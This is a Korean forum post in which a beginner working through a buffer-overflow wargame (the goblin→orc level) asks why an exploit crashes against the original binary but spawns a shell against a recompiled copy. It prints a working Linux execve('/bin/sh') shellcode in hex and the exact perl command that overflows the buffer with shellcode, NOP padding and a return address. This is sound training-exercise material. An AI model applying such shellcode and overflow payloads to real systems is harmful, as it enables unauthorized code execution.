|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1661 [복사]
안녕하세요. BOF 원정대 풀고 있는 초보입니다.
오늘 하루종일 이 문제에 메달렸었습니다.
풀긴 했는데 이해가 안 가는 것이 있어서 여쭈어봅니다.
제가 사용했던 쉘코드는 다음과 같습니다.
\x31\xc0\x68\x2f\x73\x68\x68\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80
이 쉘코드가 27 바이트짜리라서 다음과 같이 버퍼를 씌웠습니다.
쉘코드(27 바이트) + NOP(17 바이트) + RET(4 바이트)
RET는 buffer의 주소가 되도록 했고요. 이는 orc.c 을 복사해서 buffer 위치를 출력하는 코드를 추가해서 구했습니다.
그래서 다음과 같이 실행했더니
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x31\xc0\x68\x2f\x73\x68\x68\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80" . "\x90"x17 . "\xd0\xfa\xff\xbf"'`
Segmentation fault 가 떴습니다.
첫번째 질문은 여기서 왜 저 에러가 떴는가입니다.
아까 orc.c 을 복사하고 새로 컴파일을 했다고 했는데 그 파일 이름이 orc1 입니다.
두번째 질문은
[goblin@localhost goblin]$ ./orc1 `perl -e 'print "\x31\xc0\x68\x2f\x73\x68\x68\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80" . "\x90"x17 . "\xd0\xfa\xff\xbf"'`
을 실행하면 goblin 권한으로지만 쉘코드가 작동해서 쉘이 뜬다는 것입니다.
왜 orc1에서는 되고 orc에서는 안 될까요?
감사합니다. |
Hit : 3577 Date : 2013/04/05 12:22
|